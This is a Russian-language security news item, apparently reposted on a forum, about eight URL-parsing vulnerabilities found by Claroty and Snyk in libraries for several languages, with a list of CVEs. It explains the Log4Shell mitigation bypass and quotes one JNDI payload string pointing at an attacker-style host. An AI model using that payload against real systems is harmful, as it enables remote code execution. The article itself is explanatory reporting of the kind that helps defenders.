![]() |
Было выявлено восемь уязвимостей в библиотеках, написанных на языках C, JavaScript, PHP, Python и Ruby. https://www.securitylab.ru/upload/ib...6d2ca707b5.jpg Исследователи в области кибербезопасности из компаний Claroty и Synk выявили уязвимости в 8 различных библиотеках для парсинга URL-адресов. Обнаруженные несоответствия и путаницы можно использовать для обхода проверок и создания широкого спектра векторов атак. В общей сложности было выявлено восемь уязвимостей в библиотеках, написанных на языках C, JavaScript, PHP, Python и Ruby и используемых несколькими web-приложениями. «Путаница при синтаксическом анализе URL-адресов может привести к неожиданному поведению программного обеспечения (например, web-приложения) и может быть использована злоумышленниками для создания условий отказа в обслуживании, утечки информации или, возможно, для проведения атак с удаленным выполнением кода», — пояснили исследователи. Различия в том, как библиотеки синтаксического анализа интерпретируют запрос URL-адреса, могут представлять значительный риск для пользователей. В качестве примера можно привести критическую уязвимость Log4Shell , обнаруженную в прошлом году в библиотеке Log4j. Контролируемая злоумышленником строка при оценке и регистрации уязвимым приложением приводит к поиску JNDI, который подключается к серверу злоумышленника и выполняет произвольный Java-код. Хотя Apache Software Foundation (ASF) быстро выпустила исправление для устранения уязвимости в своей библиотеке Apache Log4j, вскоре выяснилось, что меры по предотвращению эксплуатации можно обойти с помощью специально созданного ввода в формате «${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}». «Обход связан с тем, что внутри процесса поиска JNDI использовались два разных (!) анализатора URL-адресов — один анализатор для проверки URL-адреса, а другой для его извлечения. В зависимости от того, как каждый анализатор обрабатывает часть фрагмента (#) URL-адрес, компонент Authority также меняется», — сказали исследователи. В частности, если ввод обрабатывается как обычный URL-адрес HTTP, компонент Authority (комбинация имени домена и номера порта) заканчивается при обнаружении идентификатора фрагмента, тогда как при обработке в качестве URL-адреса LDAP анализатор назначит весь «127.0.0[.]1#.evilhost.com:1389» в качестве центра, поскольку спецификация URL-адреса LDP не учитывает фрагмент. Использование нескольких синтаксических анализаторов стало одной из двух основных причин, по которым были обнаружены восемь уязвимостей. Другая причина — проблемы, возникающие из-за несоответствий, когда библиотеки следуют разным спецификациям URL-адресов, что фактически создает лазейку для преступников. Диссонанс варьируется от путаницы, связанной с URL-адресами, содержащими обратную косую черту («\»), нестандартное количество косых черт (например, https:///) или закодированные данные URL («%»), до URL-адресов с отсутствующими схемами URL. При успешном использовании такие уязвимости могут привести к удаленному выполнению кода или к отказу в обслуживании (DoS) и фишинговым атакам с открытым перенаправлением. Ниже приводится список из восьми обнаруженных уязвимостей (в настоящее время все проблемы исправлены):<ul><li>Belledonne's SIP Stack (C, CVE-2021-33056) </li> <li>Video.js (JavaScript, CVE-2021-23414) </li> <li>Nagios XI (PHP, CVE-2021-37352) </li> <li>Flask-security (Python, CVE-2021-23385) </li> <li>Flask-security-too (Python, CVE-2021-32618) </li> <li>Flask-unchained (Python, CVE-2021-23393) </li> <li>Flask-User (Python, CVE-2021-23401) </li> <li>Clearance (Ruby, CVE-2021-23435)</li> </ul> |
All times are GMT. The time now is 12:21 PM. |
Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc.